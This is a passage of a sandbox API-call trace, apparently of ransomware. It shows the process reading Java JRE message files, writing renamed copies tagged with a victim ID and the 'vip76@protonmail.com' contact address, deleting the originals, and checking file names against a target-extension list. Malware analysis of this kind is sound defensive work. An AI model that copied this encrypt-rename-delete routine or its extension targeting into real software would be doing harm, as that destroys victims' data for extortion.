	[0172.000] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0172.001] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.001] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0172.001] SetEndOfFile (hFile=0x590) returned 1
	[0172.002] CloseHandle (hObject=0x590) returned 1
	[0172.002] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.002] SetEndOfFile (hFile=0x58c) returned 1
	[0172.005] CloseHandle (hObject=0x58c) returned 1
	[0172.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.006] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1
	[0172.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.007] lstrlenW (lpString=".doc") returned 4
	[0172.007] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.007] lstrlenW (lpString=".docx") returned 5
	[0172.007] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.007] lstrlenW (lpString=".pdf") returned 4
	[0172.007] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.007] lstrlenW (lpString=".xls") returned 4
	[0172.007] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.007] lstrlenW (lpString=".xlsx") returned 5
	[0172.007] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.007] lstrlenW (lpString=".ppt") returned 4
	[0172.007] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.007] lstrlenW (lpString=".zip") returned 4
	[0172.008] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString=".rar") returned 4
	[0172.008] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString=".bz2") returned 4
	[0172.008] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString=".7z") returned 3
	[0172.008] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.008] lstrlenW (lpString=".dbf") returned 4
	[0172.008] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.008] lstrlenW (lpString=".1cd") returned 4
	[0172.008] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.008] lstrlenW (lpString=".jpg") returned 4
	[0172.008] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.009] lstrlenW (lpString=".doc") returned 4
	[0172.009] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".docx") returned 5
	[0172.009] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.009] lstrlenW (lpString=".pdf") returned 4
	[0172.009] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".xls") returned 4
	[0172.009] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".xlsx") returned 5
	[0172.009] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.009] lstrlenW (lpString=".ppt") returned 4
	[0172.009] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.009] lstrlenW (lpString=".zip") returned 4
	[0172.009] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".rar") returned 4
	[0172.009] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".bz2") returned 4
	[0172.009] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.009] lstrlenW (lpString=".7z") returned 3
	[0172.009] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.009] lstrlenW (lpString=".dbf") returned 4
	[0172.010] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.010] lstrlenW (lpString=".1cd") returned 4
	[0172.010] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0172.010] lstrlenW (lpString=".jpg") returned 4
	[0172.010] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.010] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.011] lstrlenW (lpString="messages_es.properties") returned 22
	[0172.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.013] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3600) returned 1
	[0172.013] CloseHandle (hObject=0x58c) returned 1
	[0172.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20
	[0172.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.014] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.014] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0172.015] GetLastError () returned 0x0
	[0172.015] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xe10, lpOverlapped=0x0) returned 1
	[0172.018] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0172.019] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.019] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.019] SetEndOfFile (hFile=0x590) returned 1
	[0172.019] CloseHandle (hObject=0x590) returned 1
	[0172.020] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.020] SetEndOfFile (hFile=0x58c) returned 1
	[0172.379] CloseHandle (hObject=0x58c) returned 1
	[0172.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.379] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1
	[0172.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.380] lstrlenW (lpString=".doc") returned 4
	[0172.380] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.380] lstrlenW (lpString=".docx") returned 5
	[0172.380] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.380] lstrlenW (lpString=".pdf") returned 4
	[0172.380] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.380] lstrlenW (lpString=".xls") returned 4
	[0172.380] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString=".xlsx") returned 5
	[0172.381] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.381] lstrlenW (lpString=".ppt") returned 4
	[0172.381] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.381] lstrlenW (lpString=".zip") returned 4
	[0172.381] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString=".rar") returned 4
	[0172.381] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString=".bz2") returned 4
	[0172.381] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString=".7z") returned 3
	[0172.381] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.381] lstrlenW (lpString=".dbf") returned 4
	[0172.381] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.381] lstrlenW (lpString=".1cd") returned 4
	[0172.381] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.381] lstrlenW (lpString=".jpg") returned 4
	[0172.381] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.382] lstrlenW (lpString=".doc") returned 4
	[0172.382] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".docx") returned 5
	[0172.382] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.382] lstrlenW (lpString=".pdf") returned 4
	[0172.382] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".xls") returned 4
	[0172.382] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".xlsx") returned 5
	[0172.382] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.382] lstrlenW (lpString=".ppt") returned 4
	[0172.382] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.382] lstrlenW (lpString=".zip") returned 4
	[0172.382] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".rar") returned 4
	[0172.382] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".bz2") returned 4
	[0172.382] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.382] lstrlenW (lpString=".7z") returned 3
	[0172.382] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.382] lstrlenW (lpString=".dbf") returned 4
	[0172.382] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.383] lstrlenW (lpString=".1cd") returned 4
	[0172.383] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0172.383] lstrlenW (lpString=".jpg") returned 4
	[0172.383] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.383] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.383] lstrlenW (lpString="messages_fr.properties") returned 22
	[0172.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.384] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3409) returned 1
	[0172.384] CloseHandle (hObject=0x58c) returned 1
	[0172.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20
	[0172.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.385] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.385] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0172.386] GetLastError () returned 0x0
	[0172.386] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xd51, lpOverlapped=0x0) returned 1
	[0172.395] WriteFile (in: hFile=0x584, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0172.396] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.396] WriteFile (in: hFile=0x584, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.396] SetEndOfFile (hFile=0x584) returned 1
	[0172.397] CloseHandle (hObject=0x584) returned 1
	[0172.397] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.397] SetEndOfFile (hFile=0x58c) returned 1
	[0172.401] CloseHandle (hObject=0x58c) returned 1
	[0172.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1
	[0172.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.402] lstrlenW (lpString=".doc") returned 4
	[0172.402] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.402] lstrlenW (lpString=".docx") returned 5
	[0172.402] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.402] lstrlenW (lpString=".pdf") returned 4
	[0172.402] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.402] lstrlenW (lpString=".xls") returned 4
	[0172.402] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.402] lstrlenW (lpString=".xlsx") returned 5
	[0172.403] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.403] lstrlenW (lpString=".ppt") returned 4
	[0172.403] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.403] lstrlenW (lpString=".zip") returned 4
	[0172.403] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.403] lstrlenW (lpString=".rar") returned 4
	[0172.403] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.403] lstrlenW (lpString=".bz2") returned 4
	[0172.403] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.403] lstrlenW (lpString=".7z") returned 3
	[0172.403] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.403] lstrlenW (lpString=".dbf") returned 4
	[0172.403] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.403] lstrlenW (lpString=".1cd") returned 4
	[0172.403] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.405] lstrlenW (lpString=".jpg") returned 4
	[0172.405] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.405] lstrlenW (lpString=".doc") returned 4
	[0172.405] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.405] lstrlenW (lpString=".docx") returned 5
	[0172.405] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.405] lstrlenW (lpString=".pdf") returned 4
	[0172.406] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString=".xls") returned 4
	[0172.406] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString=".xlsx") returned 5
	[0172.406] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.406] lstrlenW (lpString=".ppt") returned 4
	[0172.406] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.406] lstrlenW (lpString=".zip") returned 4
	[0172.406] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString=".rar") returned 4
	[0172.406] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString=".bz2") returned 4
	[0172.406] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString=".7z") returned 3
	[0172.406] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.406] lstrlenW (lpString=".dbf") returned 4
	[0172.406] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.406] lstrlenW (lpString=".1cd") returned 4
	[0172.406] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0172.406] lstrlenW (lpString=".jpg") returned 4
	[0172.407] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.407] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.408] lstrlenW (lpString="messages_it.properties") returned 22
	[0172.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.408] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3223) returned 1
	[0172.408] CloseHandle (hObject=0x58c) returned 1
	[0172.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20
	[0172.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0172.409] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.411] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0172.412] GetLastError () returned 0x0
	[0172.412] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xc97, lpOverlapped=0x0) returned 1
	[0172.530] WriteFile (in: hFile=0x584, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0172.531] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.532] WriteFile (in: hFile=0x584, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.532] SetEndOfFile (hFile=0x584) returned 1
	[0172.532] CloseHandle (hObject=0x584) returned 1
